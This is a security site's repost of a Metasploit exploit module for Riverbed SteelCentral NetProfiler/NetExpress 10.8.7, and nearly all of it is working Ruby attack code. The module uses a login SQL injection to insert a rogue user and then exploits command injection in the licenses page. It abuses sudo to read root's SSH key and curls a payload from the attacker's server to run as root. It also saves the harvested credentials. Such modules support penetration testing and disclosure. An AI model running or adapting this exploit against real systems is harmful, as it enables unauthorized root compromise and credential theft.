首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Riverbed SteelCentral NetProfiler/NetExpress Remote Code Execution
来源:metasploit.com 作者:Oddo 发布时间:2016-07-12  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  require 'digest'

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Riverbed SteelCentral NetProfiler/NetExpress Remote Code Execution",
      'Description'    => %q{
        This module exploits three separate vulnerabilities found in the Riverbed SteelCentral NetProfiler/NetExpress
        virtual appliances to obtain remote command execution as the root user. A SQL injection in the login form
        can be exploited to add a malicious user into the application's database. An attacker can then exploit a
        command injection vulnerability in the web interface to obtain arbitrary code execution. Finally, an insecure
        configuration of the sudoers file can be abused to escalate privileges to root.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Francesco Oddo <francesco.oddo[at]security-assessment.com>' ],
      'References'     =>
        [
          [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Riverbed-SteelCentral-NetProfilerNetExpress-Advisory.pdf' ]
        ],
      'Platform'       => 'linux',
      'Arch'           => ARCH_X86_64,
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'Targets'        =>
        [
          [ 'Riverbed SteelCentral NetProfiler 10.8.7 / Riverbed NetExpress 10.8.7', { }]
        ],
      'DefaultOptions' =>
        {
          'SSL' => true
        },
      'Privileged'     => false,
      'DisclosureDate' => "Jun 27 2016",
      'DefaultTarget'  => 0
      ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The target URI', '/']),
        OptString.new('RIVERBED_USER', [true, 'Web interface user account to add', 'user']),
        OptString.new('RIVERBED_PASSWORD', [true, 'Web interface user password', 'riverbed']),
        OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
        Opt::RPORT(443)
      ],
      self.class
    )
  end

  def check
    json_payload_check = "{\"username\":\"check_vulnerable%'; SELECT PG_SLEEP(2)--\", \"password\":\"pwd\"}";

    # Verifies existence of login SQLi
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path,'/api/common/1.0/login'),
      'ctype' => 'application/json',
      'encode_params' => false,
      'data'     => json_payload_check
     })

     if res && res.body && res.body.include?('AUTH_DISABLED_ACCOUNT')
       return Exploit::CheckCode::Vulnerable
     end

     Exploit::CheckCode::Safe
  end

  def exploit

    print_status("Attempting log in to target appliance")
    @sessid = do_login

    print_status("Confirming command injection vulnerability")
    test_cmd_inject
    vprint_status('Ready to execute payload on appliance')

    @elf_sent = false
    # Generate payload
    @pl = generate_payload_exe

    if @pl.nil?
      fail_with(Failure::BadConfig, 'Please select a valid Linux payload')
    end

    # Start the server and use primer to trigger fetching and running of the payload
    begin
      Timeout.timeout(datastore['HTTPDELAY']) { super }
    rescue Timeout::Error
    end

  end

  def get_nonce
    # Function to get nonce from login page

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path,'/index.php'),
     })

    if res && res.body && res.body.include?('nonce_')
       html = res.get_html_document
       nonce_field = html.at('input[@name="nonce"]')
       nonce = nonce_field.attributes["value"]
    else
       fail_with(Failure::Unknown, 'Unable to get login nonce.')
    end

    # needed as login nonce is bounded to preauth SESSID cookie
    sessid_cookie_preauth = (res.get_cookies || '').scan(/SESSID=(\w+);/).flatten[0] || ''

    return [nonce, sessid_cookie_preauth]

  end

  def do_login

    uname = datastore['RIVERBED_USER']
    passwd = datastore['RIVERBED_PASSWORD']

    nonce, sessid_cookie_preauth = get_nonce
    post_data = "login=1&nonce=#{nonce}&uname=#{uname}&passwd=#{passwd}"

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path,'/index.php'),
      'cookie' => "SESSID=#{sessid_cookie_preauth}",
      'ctype' => 'application/x-www-form-urlencoded',
      'encode_params' => false,
      'data'     => post_data
     })

    # Exploit login SQLi if credentials are not valid.
    if res && res.body && res.body.include?('<form name="login"')
       print_status("Invalid credentials. Creating malicious user through login SQLi")

       create_user
       nonce, sessid_cookie_preauth = get_nonce
       post_data = "login=1&nonce=#{nonce}&uname=#{uname}&passwd=#{passwd}"

       res = send_request_cgi({
         'method' => 'POST',
         'uri' => normalize_uri(target_uri.path,'/index.php'),
         'cookie' => "SESSID=#{sessid_cookie_preauth}",
         'ctype' => 'application/x-www-form-urlencoded',
         'encode_params' => false,
         'data'     => post_data
       })

       sessid_cookie = (res.get_cookies || '').scan(/SESSID=(\w+);/).flatten[0] || ''
       print_status("Saving login credentials into Metasploit DB")
       report_cred(uname, passwd)
    else
       print_status("Valid login credentials provided. Successfully logged in")
       sessid_cookie = (res.get_cookies || '').scan(/SESSID=(\w+);/).flatten[0] || ''
       print_status("Saving login credentials into Metasploit DB")
       report_cred(uname, passwd)
    end

    return sessid_cookie

  end

  def report_cred(username, password)
    # Function used to save login credentials into Metasploit database
    service_data = {
      address: rhost,
      port: rport,
      service_name: ssl ? 'https' : 'http',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      module_fullname: self.fullname,
      origin_type: :service,
      username: username,
      private_data: password,
      private_type: :password
    }.merge(service_data)

    credential_core = create_credential(credential_data)

    login_data = {
      core: credential_core,
      last_attempted_at: DateTime.now,
      status: Metasploit::Model::Login::Status::SUCCESSFUL
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def create_user
    # Function exploiting login SQLi to create a malicious user
    username = datastore['RIVERBED_USER']
    password = datastore['RIVERBED_PASSWORD']

    usr_payload = generate_sqli_payload(username)
    pwd_hash = Digest::SHA512.hexdigest(password)
    pass_payload = generate_sqli_payload(pwd_hash)
    uid = rand(999)

    json_payload_sqli = "{\"username\":\"adduser%';INSERT INTO users (username, password, uid) VALUES ((#{usr_payload}), (#{pass_payload}), #{uid});--\", \"password\":\"pwd\"}";

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path,'/api/common/1.0/login'),
      'ctype' => 'application/json',
      'encode_params' => false,
      'data'     => json_payload_sqli
     })

     json_payload_checkuser = "{\"username\":\"#{username}\", \"password\":\"#{password}\"}";

     res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path,'/api/common/1.0/login'),
      'ctype' => 'application/json',
      'encode_params' => false,
      'data'     => json_payload_checkuser
     })

     if res && res.body && res.body.include?('session_id')
       print_status("User account successfully created, login credentials: '#{username}':'#{password}'")
     else
       fail_with(Failure::UnexpectedReply, 'Unable to add user to database')
     end

  end

  def generate_sqli_payload(input)
    # Function to generate sqli payload for user/pass in expected format
    payload = ''
    input_array = input.strip.split('')
    for index in 0..input_array.length-1
      payload = payload << 'CHR(' + input_array[index].ord.to_s << ')||'
    end

    # Gets rid of the trailing '||' and newline
    payload = payload[0..-3]

    return payload
  end

  def test_cmd_inject
    post_data = "xjxfun=get_request_key&xjxr=1457064294787&xjxargs[]=Stoken; id;"

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path,'/index.php?page=licenses'),
      'cookie' => "SESSID=#{@sessid}",
      'ctype' => 'application/x-www-form-urlencoded',
      'encode_params' => false,
      'data'     => post_data
     })

    unless res && res.body.include?('uid=')
      fail_with(Failure::UnexpectedReply, 'Could not inject command, may not be vulnerable')
    end

  end

  def cmd_inject(cmd)

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path,'/index.php?page=licenses'),
      'cookie' => "SESSID=#{@sessid}",
      'ctype' => 'application/x-www-form-urlencoded',
      'encode_params' => false,
      'data'     => cmd
     })

  end

  # Deliver payload to appliance and make it run it
  def primer

    # Gets the autogenerated uri
    payload_uri = get_uri

    root_ssh_key_private = rand_text_alpha_lower(8)
    binary_payload = rand_text_alpha_lower(8)

    print_status("Privilege escalate to root and execute payload")

    privesc_exec_cmd = "xjxfun=get_request_key&xjxr=1457064346182&xjxargs[]=Stoken;  sudo -u mazu /usr/mazu/bin/mazu-run /usr/bin/sudo /bin/date -f /opt/cascade/vault/ssh/root/id_rsa | cut -d ' ' -f 4- | tr -d '`' | tr -d \"'\" > /tmp/#{root_ssh_key_private}; chmod 600 /tmp/#{root_ssh_key_private}; ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -i /tmp/#{root_ssh_key_private} root@localhost '/usr/bin/curl -k #{payload_uri} -o /tmp/#{binary_payload}; chmod 755 /tmp/#{binary_payload}; /tmp/#{binary_payload}'"

    cmd_inject(privesc_exec_cmd)

    register_file_for_cleanup("/tmp/#{root_ssh_key_private}")
    register_file_for_cleanup("/tmp/#{binary_payload}")

    vprint_status('Finished primer hook, raising Timeout::Error manually')
    raise(Timeout::Error)
  end

  #Handle incoming requests from the server
  def on_request_uri(cli, request)
    vprint_status("on_request_uri called: #{request.inspect}")
    print_status('Sending the payload to the server...')
    @elf_sent = true
    send_response(cli, @pl)
  end

end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Core FTP Le 2.2 Buffer Overflo
·MS16-032 Secondary Logon Handl
·Tiki Wiki 15.1 - Unauthenticat
·Prestashop vtermslidesshow mod
·Belkin Router AC1200 Firmware
·MS16-016 mrxdav.sys WebDav Loc
·OpenBSD 5.9 kernel panic throu
·Ruby On Rails ActionPack Inlin
·OpenBSD 5.9 kernel panic throu
·CyberPower Systems PowerPanel
·OpenBSD 5.9 kernel panic throu
·php Real Estate Script 3 - Arb
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved